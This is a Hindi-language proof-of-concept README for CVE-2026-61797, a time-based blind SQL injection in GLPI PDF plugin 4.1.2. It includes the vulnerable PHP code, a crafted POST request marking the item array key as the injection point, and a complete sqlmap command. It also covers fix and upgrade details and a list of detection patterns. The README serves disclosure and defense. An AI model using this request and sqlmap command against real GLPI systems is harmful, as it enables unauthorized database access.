
CVE-2026-61797 के लिए Proof of Concept, GLPI PDF plugin में time-based blind SQL injection, sqlmap validation और detection guidance के साथ।
CVE-2026-61797 के लिए प्रूफ ऑफ कॉन्सेप्ट, जो GLPI PDF plugin को प्रभावित करने वाली समय-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता है।
इस भेद्यता तक निम्न के माध्यम से पहुँचा जा सकता है:
/marketplace/pdf/front/preference.form.php
भेद्य कार्यान्वयन में, item POST array से उपयोगकर्ता-नियंत्रित मानों को उचित parameterization के बिना SQL queries में डाला जाता है।
एक प्रमाणित निम्न-विशेषाधिकार वाला GLPI उपयोगकर्ता इस व्यवहार का दुरुपयोग करके SQL expressions इंजेक्ट कर सकता है और response timing के माध्यम से डेटाबेस जानकारी का अनुमान लगा सकता है।
| Field | Value |
|---|---|
| CVE | CVE-2026-61797 |
| Product | GLPI PDF Plugin |
| Tested version | 4.1.2 |
| Fixed version | 4.1.3 |
| Vulnerability | Time-Based Blind SQL Injection |
| Authentication | Required on the tested 4.1.2 branch |
| Attack vector | Network |
| User interaction | None |
| Database | MySQL |
| CVSS | 6.1 / 10 |
| Advisory | GHSA-wwr3-v347-c64m |
भेद्य कोड अंततः हमलावर-नियंत्रित item key को SQL INSERT statement के tabref field में रखता है।
वैचारिक रूप से, भेद्य ऑपरेशन इस प्रकार दिखता था:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
चूँकि $key SQL statement का हिस्सा बन जाता है, एक तैयार किया गया array key परिणामी query को संशोधित कर सकता है।
PoC के लिए आवश्यक है:
sqlmap।PoC को PDF Plugin 4.1.2 के विरुद्ध मान्य किया गया था।
निम्नलिखित के लिए एक वैध request कैप्चर करें:
POST /marketplace/pdf/front/preference.form.php
और इसे इस रूप में सहेजें:
glpi.sqli
इंजेक्शन बिंदु को चिह्नित करने के लिए उपयुक्त एक न्यूनतम request body है:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
* sqlmap को बताता है कि request के किस भाग का परीक्षण किया जाना चाहिए।
उदाहरण request संरचना:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
चलाएँ:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
एक भेद्य installation को custom POST इंजेक्शन बिंदु पर समय-आधारित ब्लाइंड SQL इंजेक्शन स्वीकार करने वाले के रूप में पहचाना जाना चाहिए।
विशिष्ट पहचान इस प्रकार दिखती है:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
यह तकनीक यह निर्धारित करने के लिए कि इंजेक्ट की गई condition true है या नहीं, SLEEP() जैसी सशर्त MySQL देरी पर निर्भर करती है।
यह repository जानबूझकर प्रलेखित PoC को भेद्यता सत्यापन तक सीमित रखती है और database-dumping या credential-extraction कमांड प्रदान नहीं करती।
भेद्य request यहाँ पहुँचती है:
plugins/pdf/front/preference.form.php
एप्लिकेशन इस प्रकार के मानों को संसाधित करता है:
item[<USER_CONTROLLED_VALUE>]=1
PHP इसे एक associative array में परिवर्तित करता है, जहाँ हमलावर array key को नियंत्रित करता है।
वह key बाद में plugin द्वारा $key के रूप में उपयोग की जाती है और, भेद्य संस्करण में, सीधे एक SQL statement में concatenate की जाती है।
परिणामी data flow प्रभावी रूप से इस प्रकार है:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
इसलिए एक समय-आधारित payload SQL expression को प्रभावित कर सकता है और आपूर्त की गई condition true होने पर डेटाबेस को जानबूझकर response में देरी करा सकता है।
चूँकि एप्लिकेशन SQL query परिणामों को सीधे वापस नहीं लौटाता, शोषण ब्लाइंड SQL इंजेक्शन के रूप में किया जाता है।
यह समस्या PDF Plugin 4.1.3 में ठीक की गई थी।
भेद्य raw SQL ऑपरेशनों को सुरक्षित database/ORM तंत्रों और अतिरिक्त authorization logic से बदल दिया गया था।
उपयोगकर्ताओं को इसमें अपग्रेड करना चाहिए:
PDF Plugin >= 4.1.3
या किसी नए समर्थित release में।
रक्षक निम्नलिखित को लक्षित करने वाली HTTP requests की समीक्षा करना चाह सकते हैं:
/marketplace/pdf/front/preference.form.php
असामान्य item[...] parameter नामों के साथ।
विशेष रूप से संदिग्ध पैटर्न में array key के भीतर होने वाले SQL syntax या time-delay functions शामिल हैं, उदाहरण के लिए इनके संदर्भ:
SLEEP(
SELECT
AND
OR
||
'
"
endpoint पर बार-बार POST requests के बाद लगातार कई सेकंड की response देरी भी समय-आधारित ब्लाइंड SQL इंजेक्शन का शोषण करने के प्रयासों का संकेत दे सकती है।
यह प्रूफ ऑफ कॉन्सेप्ट विशेष रूप से निम्नलिखित के लिए प्रदान किया गया है:
इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
लेखक इस सामग्री के अनधिकृत या गैरकानूनी उपयोग के लिए कोई जिम्मेदारी नहीं लेते।
भेद्यता अनुसंधान और मूल तकनीकी विश्लेषण:
ITRESIT Labs — Javier Medina
मूल अनुसंधान:
CVE:
CVE-2026-61797
GitHub Security Advisory:
GHSA-wwr3-v347-c64m
यह repository केवल शैक्षिक और अधिकृत सुरक्षा-परीक्षण उद्देश्यों के लिए है।
जिन प्रणालियों के आप स्वामी नहीं हैं, उनका परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।